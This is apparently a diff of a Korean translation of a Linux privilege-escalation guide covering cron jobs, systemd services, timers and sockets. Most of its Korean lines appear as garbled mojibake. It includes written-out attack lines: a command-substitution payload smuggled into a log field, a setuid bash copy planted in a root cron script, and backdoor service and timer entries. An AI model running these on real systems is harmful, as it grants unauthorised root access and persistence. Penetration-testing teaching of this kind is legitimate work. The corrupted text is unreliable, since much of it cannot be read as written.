ํ•ด์„œ, ์ˆซ์ž์ฒ˜๋Ÿผ ๋ณด์ด๋Š” ํ•„๋“œ์— command substitution์ด ํฌํ•จ๋˜๊ณ  ๋์ด ์ˆซ์ž๋กœ ๋๋‚˜๋„๋ก ๋งŒ๋“œ์„ธ์š”. ๋ช…๋ น์ด stdout์— ์ถœ๋ ฅ๋˜์ง€ ์•Š๋„๋ก ํ•˜๊ฑฐ๋‚˜ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜์—ฌ ์‚ฐ์ˆ ์ด ์œ ํšจํ•˜๋„๋ก ํ•˜์„ธ์š”. ```bash # Injected field value inside the log (e.g., via a crafted HTTP request that the app logs verbatim): $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 @@ -379,29 +375,29 @@ $(/bin/bash -c 'cp /bin/bash /tmp/sh; chmod +s /tmp/sh')0 ### Cron script overwriting and symlink -root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” **cron script**๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์•„์ฃผ ์‰ฝ๊ฒŒ shell์„ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +If you **can modify a cron script** executed by root, you can get a shell very easily: ```bash echo 'cp /bin/bash /tmp/bash; chmod +s /tmp/bash' > #Wait until it is executed /tmp/bash -p ``` -root๊ฐ€ ์‹คํ–‰ํ•˜๋Š” script๊ฐ€ **directory where you have full access**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ๊ทธ folder๋ฅผ ์‚ญ์ œํ•˜๊ณ  ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” script๋ฅผ ์ œ๊ณตํ•˜๋Š” ๋‹ค๋ฅธ folder๋กœ ์—ฐ๊ฒฐ๋˜๋Š” **create a symlink folder to another one**์„ ๋งŒ๋“œ๋Š” ๊ฒƒ์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +root์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” script๊ฐ€ ๋‹น์‹ ์ด ์™„์ „ํ•œ ์ ‘๊ทผ ๊ถŒํ•œ์„ ๊ฐ€์ง„ **directory**๋ฅผ ์‚ฌ์šฉํ•œ๋‹ค๋ฉด, ๊ทธ ํด๋”๋ฅผ ์‚ญ์ œํ•˜๊ณ  ๋‹น์‹ ์ด ์ œ์–ดํ•˜๋Š” script๋ฅผ ์ œ๊ณตํ•˜๋„๋ก ๋‹ค๋ฅธ ํด๋”๋กœ ๊ฐ€๋ฆฌํ‚ค๋Š” **symlink ํด๋”๋ฅผ ์ƒ์„ฑํ•˜๋Š” ๊ฒƒ**์ด ์œ ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash ln -d -s ``` ### ์ž์ฃผ ์‹คํ–‰๋˜๋Š” cron jobs -ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ 1, 2 ๋˜๋Š” 5๋ถ„๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด ๊ถŒํ•œ ์ƒ์Šน(escalate privileges)์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜์—ฌ 1, 2 ๋˜๋Š” 5๋ถ„๋งˆ๋‹ค ์‹คํ–‰๋˜๋Š” ํ”„๋กœ์„ธ์Šค๋ฅผ ์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด๋ฅผ ์ด์šฉํ•ด escalate privileges ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค. -์˜ˆ๋ฅผ ๋“ค์–ด, **1๋ถ„ ๋™์•ˆ 0.1์ดˆ๋งˆ๋‹ค ๋ชจ๋‹ˆํ„ฐ๋ง**, **์‹คํ–‰ ํšŸ์ˆ˜๊ฐ€ ์ ์€ ๋ช…๋ น์–ด ์ˆœ์œผ๋กœ ์ •๋ ฌ**ํ•˜๊ณ  ๊ฐ€์žฅ ๋งŽ์ด ์‹คํ–‰๋œ ๋ช…๋ น์–ด๋“ค์„ ์‚ญ์ œํ•˜๋ ค๋ฉด, ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +์˜ˆ๋ฅผ ๋“ค์–ด, **1๋ถ„ ๋™์•ˆ ๋งค 0.1์ดˆ๋งˆ๋‹ค ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ **, **์‹คํ–‰ ๋นˆ๋„๊ฐ€ ์ ์€ ๋ช…๋ น ์ˆœ์œผ๋กœ ์ •๋ ฌํ•œ ๋’ค** ๊ฐ€์žฅ ๋งŽ์ด ์‹คํ–‰๋œ ๋ช…๋ น๋“ค์„ ์‚ญ์ œํ•˜๋ ค๋ฉด ๋‹ค์Œ์„ ์‹คํ–‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; done; sort /tmp/monprocs.tmp | uniq -c | grep -v "\[" | sed '/^.\{200\}./d' | sort | grep -E -v "\s*[6-9][0-9][0-9]|\s*[0-9][0-9][0-9][0-9]"; rm /tmp/monprocs.tmp; ``` -**๋‹ค์Œ๋„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (์ด๋Š” ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  ํ”„๋กœ์„ธ์Šค๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค). +**๋˜ํ•œ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** [**pspy**](https://github.com/DominicBreuker/pspy/releases) (์ด ๋„๊ตฌ๋Š” ์‹œ์ž‘๋˜๋Š” ๋ชจ๋“  process๋ฅผ ๋ชจ๋‹ˆํ„ฐ๋งํ•˜๊ณ  ๋‚˜์—ดํ•ฉ๋‹ˆ๋‹ค). ### ๋ณด์ด์ง€ ์•Š๋Š” cron jobs -์ฝ”๋ฉ˜ํŠธ ๋’ค์— **์บ๋ฆฌ์ง€ ๋ฆฌํ„ด์„ ๋„ฃ๋Š” ๋ฐฉ์‹์œผ๋กœ**(newline ๋ฌธ์ž ์—†์ด) cronjob์„ ์ƒ์„ฑํ•˜๋ฉด, cron job์ด ์ž‘๋™ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ์‹œ(์บ๋ฆฌ์ง€ ๋ฆฌํ„ด ๋ฌธ์ž์— ์ฃผ์˜): +cronjob์„ ์ƒ์„ฑํ•  ๋•Œ ์ฃผ์„ ๋’ค์— **carriage return์„ ๋„ฃ๋Š” ๊ฒƒ**(newline character ์—†์ด)์ด ๊ฐ€๋Šฅํ•˜๋ฉฐ, ๊ทธ๋Ÿฌ๋ฉด cron job์ด ๋™์ž‘ํ•ฉ๋‹ˆ๋‹ค. ์˜ˆ (carriage return char์— ์ฃผ์˜): ```bash #This is a comment inside a cron config file\r* * * * * echo "Surprise!" ``` @@ -409,12 +405,12 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ _.service_ ํŒŒ์ผ -์–ด๋–ค `.service` ํŒŒ์ผ์— ์“ธ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด, ์ด๋ฅผ **์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค** ๊ทธ๋ž˜์„œ ์„œ๋น„์Šค๊ฐ€ **์‹œ์ž‘๋  ๋•Œ**, **์žฌ์‹œ์ž‘๋  ๋•Œ** ๋˜๋Š” **์ค‘์ง€๋  ๋•Œ** ๋‹น์‹ ์˜ **backdoor๊ฐ€** **์‹คํ–‰๋˜๋„๋ก** ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋จธ์‹ ์„ ์žฌ๋ถ€ํŒ…ํ•  ๋•Œ๊นŒ์ง€ ๊ธฐ๋‹ค๋ ค์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).\ -์˜ˆ๋ฅผ ๋“ค์–ด `.service` ํŒŒ์ผ ์•ˆ์— ๋‹น์‹ ์˜ backdoor๋ฅผ ๋„ฃ๊ณ  **`ExecStart=/tmp/script.sh`**์ฒ˜๋Ÿผ ์ง€์ •ํ•˜์„ธ์š” +์–ด๋–ค `.service` ํŒŒ์ผ์— ์“ธ ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”. ์“ธ ์ˆ˜ ์žˆ๋‹ค๋ฉด ์ด๋ฅผ **์ˆ˜์ •ํ•˜์—ฌ** ์„œ๋น„์Šค๊ฐ€ **์‹œ์ž‘๋  ๋•Œ**, **์žฌ์‹œ์ž‘๋  ๋•Œ** ๋˜๋Š” **์ค‘์ง€๋  ๋•Œ** ๋ฐฑ๋„์–ด๊ฐ€ **์‹คํ–‰๋˜๋„๋ก** ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค(๋จธ์‹ ์„ ์žฌ๋ถ€ํŒ…ํ•ด์•ผ ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค).\ +์˜ˆ๋ฅผ ๋“ค์–ด `.service` ํŒŒ์ผ ์•ˆ์— ๋ฐฑ๋„์–ด๋ฅผ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์ƒ์„ฑํ•˜์„ธ์š”: **`ExecStart=/tmp/script.sh`** ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์„œ๋น„์Šค ๋ฐ”์ด๋„ˆ๋ฆฌ -์„œ๋น„์Šค์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” **binaries์— ๋Œ€ํ•œ ์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋‹ค๋ฉด, ์ด๋ฅผ backdoors๋กœ ๊ต์ฒดํ•ด์„œ ์„œ๋น„์Šค๊ฐ€ ์žฌ์‹คํ–‰๋  ๋•Œ backdoors๊ฐ€ ์‹คํ–‰๋˜๋„๋ก ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์„ ๊ธฐ์–ตํ•˜์„ธ์š”. +์„œ๋น„์Šค์— ์˜ํ•ด ์‹คํ–‰๋˜๋Š” ๋ฐ”์ด๋„ˆ๋ฆฌ์— ๋Œ€ํ•œ **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋‹ค๋ฉด, ํ•ด๋‹น ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ๋ฐฑ๋„์–ด๋กœ ๊ต์ฒดํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ ์„œ๋น„์Šค๊ฐ€ ์žฌ์‹คํ–‰๋  ๋•Œ ๋ฐฑ๋„์–ด๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ### systemd PATH - ์ƒ๋Œ€ ๊ฒฝ๋กœ @@ -422,19 +418,19 @@ for i in $(seq 1 610); do ps -e --format cmd >> /tmp/monprocs.tmp; sleep 0.1; do ```bash systemctl show-environment ``` -๊ฒฝ๋กœ์˜ ์–ด๋–ค ํด๋”์—๋“  **write** ๊ถŒํ•œ์ด ์žˆ๋Š” ๊ฒฝ์šฐ **escalate privileges**๋ฅผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŒŒ์ผ๋“ค์—์„œ **์„œ๋น„์Šค ๊ตฌ์„ฑ์— ์‚ฌ์šฉ๋˜๋Š” ์ƒ๋Œ€ ๊ฒฝ๋กœ**๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค: +๊ฒฝ๋กœ์˜ ์–ด๋А ํด๋”์—๋“  **์“ฐ๊ธฐ** ๊ถŒํ•œ์ด ์žˆ์Œ์„ ๋ฐœ๊ฒฌํ•˜๋ฉด **๊ถŒํ•œ ์ƒ์Šน**์ด ๊ฐ€๋Šฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ๊ณผ ๊ฐ™์€ ํŒŒ์ผ๋“ค์—์„œ **์„œ๋น„์Šค ๊ตฌ์„ฑ์— ์‚ฌ์šฉ๋˜๋Š” ์ƒ๋Œ€ ๊ฒฝ๋กœ**๋ฅผ ์ฐพ์•„์•ผ ํ•ฉ๋‹ˆ๋‹ค: ```bash ExecStart=faraday-server ExecStart=/bin/sh -ec 'ifup --allow=hotplug %I; ifquery --state %I' ExecStop=/bin/sh "uptux-vuln-bin3 -stuff -hello" ``` -๊ทธ๋Ÿฐ ๋‹ค์Œ, systemd PATH ํด๋” ์ค‘์—์„œ ๋‹น์‹ ์ด ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ์œ„์น˜์— **์ƒ๋Œ€ ๊ฒฝ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ๋™์ผํ•œ ์ด๋ฆ„์˜** **executable**์„ ์ƒ์„ฑํ•˜๊ณ , ์„œ๋น„์Šค๊ฐ€ ์ทจ์•ฝ ๋™์ž‘(**Start**, **Stop**, **Reload**)์„ ์‹คํ–‰ํ•˜๋„๋ก ์š”์ฒญ๋˜๋ฉด ๋‹น์‹ ์˜ **backdoor๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค** (๋น„ํŠน๊ถŒ ์‚ฌ์šฉ์ž๋Š” ๋ณดํ†ต ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘/์ค‘์ง€ํ•  ์ˆ˜ ์—†์œผ๋‹ˆ `sudo -l`์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”). +๊ทธ๋Ÿฐ ๋‹ค์Œ, ์“ธ ์ˆ˜ ์žˆ๋Š” systemd PATH ํด๋” ์•ˆ์— ์ƒ๋Œ€ ๊ฒฝ๋กœ ๋ฐ”์ด๋„ˆ๋ฆฌ์™€ ๋™์ผํ•œ ์ด๋ฆ„์˜ **executable**์„ ์ƒ์„ฑํ•˜์„ธ์š”, ๊ทธ๋ฆฌ๊ณ  ์„œ๋น„์Šค๊ฐ€ ์ทจ์•ฝํ•œ ๋™์ž‘(**Start**, **Stop**, **Reload**)์„ ์‹คํ–‰ํ•˜๋„๋ก ์š”์ฒญ๋ฐ›์œผ๋ฉด, ๋‹น์‹ ์˜ **backdoor**๊ฐ€ ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค (๊ถŒํ•œ ์—†๋Š” ์‚ฌ์šฉ์ž๋Š” ์ผ๋ฐ˜์ ์œผ๋กœ ์„œ๋น„์Šค๋ฅผ ์‹œ์ž‘/์ค‘์ง€ํ•  ์ˆ˜ ์—†์ง€๋งŒ `sudo -l`์„ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”). -**์„œ๋น„์Šค์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด๋ ค๋ฉด `man systemd.service`๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.** +**์„œ๋น„์Šค์— ๋Œ€ํ•ด์„œ๋Š” `man systemd.service`๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.** ## **ํƒ€์ด๋จธ** -**ํƒ€์ด๋จธ**๋Š” ์ด๋ฆ„์ด `**.timer**`๋กœ ๋๋‚˜๋ฉฐ `**.service**` ํŒŒ์ผ์ด๋‚˜ ์ด๋ฒคํŠธ๋ฅผ ์ œ์–ดํ•˜๋Š” systemd ์œ ๋‹› ํŒŒ์ผ์ž…๋‹ˆ๋‹ค. **ํƒ€์ด๋จธ**๋Š” ์บ˜๋ฆฐ๋” ์‹œ๊ฐ„ ์ด๋ฒคํŠธ์™€ ๋‹จ์กฐ(monotonic) ์‹œ๊ฐ„ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ง€์›ํ•˜๊ณ  ๋น„๋™๊ธฐ์ ์œผ๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ๊ธฐ ๋•Œ๋ฌธ์— cron์˜ ๋Œ€์•ˆ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +**ํƒ€์ด๋จธ**๋Š” systemd ์œ ๋‹› ํŒŒ์ผ๋กœ์„œ ์ด๋ฆ„์ด `**.timer**`๋กœ ๋๋‚˜๋ฉฐ `**.service**` ํŒŒ์ผ์ด๋‚˜ ์ด๋ฒคํŠธ๋ฅผ ์ œ์–ดํ•ฉ๋‹ˆ๋‹ค. **ํƒ€์ด๋จธ**๋Š” ์บ˜๋ฆฐ๋” ์‹œ๊ฐ„ ์ด๋ฒคํŠธ์™€ ๋‹จ์กฐ(monotonic) ์‹œ๊ฐ„ ์ด๋ฒคํŠธ๋ฅผ ๊ธฐ๋ณธ์ ์œผ๋กœ ์ง€์›ํ•˜๊ณ  ๋น„๋™๊ธฐ์ ์œผ๋กœ ์‹คํ–‰๋  ์ˆ˜ ์žˆ์–ด cron์˜ ๋Œ€์•ˆ์œผ๋กœ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋‹ค์Œ ๋ช…๋ น์œผ๋กœ ๋ชจ๋“  ํƒ€์ด๋จธ๋ฅผ ์—ด๊ฑฐํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash @@ -442,20 +438,20 @@ systemctl list-timers --all ``` ### ์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ํƒ€์ด๋จธ -ํƒ€์ด๋จธ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด systemd.unit์˜ ์ผ๋ถ€ ํ•ญ๋ชฉ(์˜ˆ: `.service` ๋˜๋Š” `.target`)์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +ํƒ€์ด๋จธ๋ฅผ ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด systemd.unit์˜ ๊ธฐ์กด ์œ ๋‹›๋“ค(์˜ˆ: `.service` ๋˜๋Š” `.target`)์„ ์‹คํ–‰ํ•˜๋„๋ก ๋งŒ๋“ค ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash Unit=backdoor.service ``` -In the documentation you can read what the Unit is: +๋ฌธ์„œ์—์„œ Unit์ด ๋ฌด์—‡์ธ์ง€ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ์„ค๋ช…ํ•ฉ๋‹ˆ๋‹ค: -> ์ด ํƒ€์ด๋จธ๊ฐ€ ๋งŒ๋ฃŒ๋  ๋•Œ ํ™œ์„ฑํ™”ํ•  unit์ž…๋‹ˆ๋‹ค. ์ธ์ˆ˜๋Š” ์ ‘๋ฏธ์‚ฌ๊ฐ€ ".timer"๊ฐ€ ์•„๋‹Œ unit name์ž…๋‹ˆ๋‹ค. ๋ช…์‹œํ•˜์ง€ ์•Š์œผ๋ฉด ์ด ๊ฐ’์€ timer unit๊ณผ ์ด๋ฆ„์ด ๊ฐ™๊ณ  ์ ‘๋ฏธ์‚ฌ๋งŒ ๋‹ค๋ฅธ service๋กœ ๊ธฐ๋ณธ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. (See above.) ํ™œ์„ฑํ™”๋˜๋Š” unit ์ด๋ฆ„๊ณผ timer unit ์ด๋ฆ„์€ ์ ‘๋ฏธ์‚ฌ๋ฅผ ์ œ์™ธํ•˜๊ณ  ๋™์ผํ•˜๊ฒŒ ๋ช…๋ช…ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +> ์ด ํƒ€์ด๋จธ๊ฐ€ ๋งŒ๋ฃŒ๋˜์—ˆ์„ ๋•Œ ํ™œ์„ฑํ™”ํ•  ์œ ๋‹›์ž…๋‹ˆ๋‹ค. ์ธ์ˆ˜๋Š” ์ ‘๋ฏธ์‚ฌ๊ฐ€ ".timer"๊ฐ€ ์•„๋‹Œ ์œ ๋‹› ์ด๋ฆ„์ž…๋‹ˆ๋‹ค. ์ง€์ •ํ•˜์ง€ ์•Š์œผ๋ฉด ์ด ๊ฐ’์€ ํƒ€์ด๋จธ ์œ ๋‹›๊ณผ ์ด๋ฆ„์ด ๊ฐ™๊ณ  ์ ‘๋ฏธ์‚ฌ๋งŒ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋กœ ๊ธฐ๋ณธ ์„ค์ •๋ฉ๋‹ˆ๋‹ค. (์œ„ ์ฐธ์กฐ.) ํ™œ์„ฑํ™”๋˜๋Š” ์œ ๋‹› ์ด๋ฆ„๊ณผ ํƒ€์ด๋จธ ์œ ๋‹›์˜ ์ด๋ฆ„์€ ์ ‘๋ฏธ์‚ฌ๋ฅผ ์ œ์™ธํ•˜๊ณ  ๋™์ผํ•˜๊ฒŒ ๋ช…๋ช…ํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. -Therefore, to abuse this permission you would need to: +๋”ฐ๋ผ์„œ, ์ด ๊ถŒํ•œ์„ ์•…์šฉํ•˜๋ ค๋ฉด ๋‹ค์Œ์ด ํ•„์š”ํ•ฉ๋‹ˆ๋‹ค: -- `.service`์™€ ๊ฐ™์€ systemd unit ์ค‘์—์„œ **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š”** ๊ฒƒ์„ ์ฐพ์Šต๋‹ˆ๋‹ค -- **์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‹คํ–‰ํ•˜๋Š”** systemd unit์„ ์ฐพ๊ณ , ํ•ด๋‹น ์‹คํ–‰ํŒŒ์ผ์„ ๊ฐ€์žฅํ•˜๊ธฐ ์œ„ํ•ด **systemd PATH**์— ๋Œ€ํ•œ **์“ฐ๊ธฐ ๊ถŒํ•œ**์„ ๊ฐ€์ ธ์•ผ ํ•ฉ๋‹ˆ๋‹ค +- ์–ด๋–ค systemd ์œ ๋‹›(์˜ˆ: `.service`)์ด **์“ฐ๊ธฐ ๊ฐ€๋Šฅํ•œ ๋ฐ”์ด๋„ˆ๋ฆฌ๋ฅผ ์‹คํ–‰ํ•˜๋Š”์ง€** ์ฐพ๊ธฐ +- ์ƒ๋Œ€ ๊ฒฝ๋กœ๋ฅผ ์‹คํ–‰ํ•˜๋Š” systemd ์œ ๋‹›์„ ์ฐพ๊ณ , ๊ทธ ์‹คํ–‰ ํŒŒ์ผ์„ ๊ฐ€์žฅํ•˜๊ธฐ ์œ„ํ•ด **systemd PATH**์— ๋Œ€ํ•ด **์“ฐ๊ธฐ ๊ถŒํ•œ**์ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๊ธฐ -**Learn more about timers with `man systemd.timer`.** +**ํƒ€์ด๋จธ์— ๋Œ€ํ•ด ์ž์„ธํžˆ ์•Œ์•„๋ณด๋ ค๋ฉด `man systemd.timer`๋ฅผ ์ฐธ๊ณ ํ•˜์„ธ์š”.** ### **ํƒ€์ด๋จธ ํ™œ์„ฑํ™”** @@ -472,24 +468,23 @@ Unix Domain Sockets (UDS) enable **process communication** on the same or differ Sockets can be configured using `.socket` files. -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +**`man systemd.socket`๋กœ sockets์— ๋Œ€ํ•ด ๋” ์•Œ์•„๋ณด์„ธ์š”.** ์ด ํŒŒ์ผ ๋‚ด์—์„œ๋Š” ๊ตฌ์„ฑํ•  ์ˆ˜ ์žˆ๋Š” ํฅ๋ฏธ๋กœ์šด ๋งค๊ฐœ๋ณ€์ˆ˜๋“ค์ด ์—ฌ๋Ÿฌ ๊ฐœ ์žˆ์Šต๋‹ˆ๋‹ค: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: ์ด ์˜ต์…˜๋“ค์€ ์„œ๋กœ ๋‹ค๋ฅด์ง€๋งŒ ์š”์•ฝํ•˜๋ฉด ์†Œ์ผ“์ด ์–ด๋””์—์„œ listenํ• ์ง€๋ฅผ **์ง€์ •**ํ•ฉ๋‹ˆ๋‹ค (AF_UNIX ์†Œ์ผ“ ํŒŒ์ผ์˜ ๊ฒฝ๋กœ, ์ˆ˜์‹ ํ•  IPv4/6 ๋ฐ/๋˜๋Š” ํฌํŠธ ๋ฒˆํ˜ธ ๋“ฑ). +- `Accept`: boolean ๊ฐ’์„ ๋ฐ›์Šต๋‹ˆ๋‹ค. **true**์ธ ๊ฒฝ์šฐ, ๋“ค์–ด์˜ค๋Š” ๊ฐ ์—ฐ๊ฒฐ๋งˆ๋‹ค **service instance๊ฐ€ ์ƒ์„ฑ**๋˜๋ฉฐ ํ•ด๋‹น ์—ฐ๊ฒฐ ์†Œ์ผ“๋งŒ ์ „๋‹ฌ๋ฉ๋‹ˆ๋‹ค. **false**์ธ ๊ฒฝ์šฐ, ๋ชจ๋“  ๋ฆฌ์Šค๋‹ ์†Œ์ผ“ ์ž์ฒด๊ฐ€ **์‹œ์ž‘๋œ service unit์— ์ „๋‹ฌ**๋˜๋ฉฐ ๋ชจ๋“  ์—ฐ๊ฒฐ์— ๋Œ€ํ•ด ํ•˜๋‚˜์˜ ์„œ๋น„์Šค ์œ ๋‹›๋งŒ ์ƒ์„ฑ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฐ’์€ datagram ์†Œ์ผ“๊ณผ FIFO์— ๋Œ€ํ•ด์„œ๋Š” ๋ฌด์‹œ๋˜๋ฉฐ, ์ด๋“ค์—์„œ๋Š” ๋‹จ์ผ ์„œ๋น„์Šค ์œ ๋‹›์ด ๋ฌด์กฐ๊ฑด ๋ชจ๋“  ๋“ค์–ด์˜ค๋Š” ํŠธ๋ž˜ํ”ฝ์„ ์ฒ˜๋ฆฌํ•ฉ๋‹ˆ๋‹ค. **Defaults to false.** ์„ฑ๋Šฅ์ƒ์˜ ์ด์œ ๋กœ, ์ƒˆ๋กœ์šด ๋ฐ๋ชฌ์€ `Accept=no`์— ์ ํ•ฉํ•œ ๋ฐฉ์‹์œผ๋กœ๋งŒ ์ž‘์„ฑํ•˜๋Š” ๊ฒƒ์ด ๊ถŒ์žฅ๋ฉ๋‹ˆ๋‹ค. +- `ExecStartPre`, `ExecStartPost`: ํ•˜๋‚˜ ์ด์ƒ์˜ ๋ช…๋ น์ค„์„ ๋ฐ›์œผ๋ฉฐ, ๋ฆฌ์Šค๋‹ **sockets**/FIFOs๊ฐ€ ๊ฐ๊ฐ **์ƒ์„ฑ(created)**๋˜์–ด ๋ฐ”์ธ๋“œ๋˜๊ธฐ **์ „** ๋˜๋Š” **ํ›„**์— ์‹คํ–‰๋ฉ๋‹ˆ๋‹ค. ๋ช…๋ น์ค„์˜ ์ฒซ ๋ฒˆ์งธ ํ† ํฐ์€ ์ ˆ๋Œ€ ํŒŒ์ผ๋ช…์ด์–ด์•ผ ํ•˜๋ฉฐ, ๊ทธ ๋’ค์— ํ”„๋กœ์„ธ์Šค ์ธ์ž๋“ค์ด ์˜ต๋‹ˆ๋‹ค. +- `ExecStopPre`, `ExecStopPost`: ๋ฆฌ์Šค๋‹ **sockets**/FIFOs๊ฐ€ ๊ฐ๊ฐ **๋‹ซํžˆ๊ณ  ์ œ๊ฑฐ**๋˜๊ธฐ ์ „ ๋˜๋Š” ํ›„์— 